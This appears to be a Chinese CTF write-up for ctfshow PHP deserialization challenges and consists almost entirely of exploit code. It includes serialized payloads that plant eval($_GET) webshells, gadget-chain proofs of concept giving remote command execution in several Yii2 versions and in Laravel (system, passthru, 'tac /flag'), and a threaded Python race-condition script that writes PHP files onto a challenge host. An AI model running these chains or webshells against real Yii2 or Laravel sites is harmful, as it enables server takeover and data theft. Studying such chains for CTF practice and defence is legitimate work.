<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace('O:', 'O:+',$ctf);
echo $ctf;
echo urlencode($ctf);
<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php eval($_GET[a]);?>';
public $code;
}
$c=new ctfshowvip();
echo serialize($c);
<?php
class User{
public $username;
public $password;
function __construct($username,$password){//序列化的死后将传入的参数赋值给属性username和password
$this->username = $username;
$this->password = $password;
}
}
$user = new User('tzy.php','<?php eval($_GET[a]);phpinfo();?>');
echo base64_encode('|'.serialize($user));
<?php
class message{
public $from='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}';
public $msg=b;
public $to=c;
public $token='admin';
}
$msg = serialize(new message());
echo $msg;
输出
传值
访问message.php 访问前手动添加一个名为msg的cookie 值任意
成功给获取flag
web265
源码
php复制代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;//三个等于号代表恒等于 类型和值必须都相等
}
}
$ctfshow = unserialize($_GET['ctfshow']);//反序列化传入来的 ctfshow值
$ctfshow->token=md5(mt_rand());//将任意值进行md5加密 赋值给roken
if($ctfshow->login()){ //如果token恒等于password才能得到flag
echo $flag;
}
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token;
$this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);
web266
源码
php复制代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
poc2
yii2.2.37
php复制代码
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
poc3
2.0.38
php复制代码
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
poc4
2.0.38
php复制代码
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
poc5
2.0.42
php复制代码
<?php
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
exp
php复制代码
<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
看看之前的poc可不可以 不行,新找一个
exp
php复制代码
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection = 'tac$IFS/f*';
}
}
namespace{
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}
?>
import requests
import threading
import time
url = 'http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/'
data = "<?php file_put_contents('tzy.php','<?php phpinfo();?>', FILE_APPEND); ?>"
flag = True
def post():
requests.post(url+'?fn=1.PHP', data=data)
def get1():
requests.get(url + '1.php')
def get2():
r = requests.get(url+'tzy.php')
if 'PHP Version' in r.text:
global flag
flag = False
while flag:
threading.Thread(target=get1).start()
threading.Thread(target=get2).start()
threading.Thread(target=post).start()
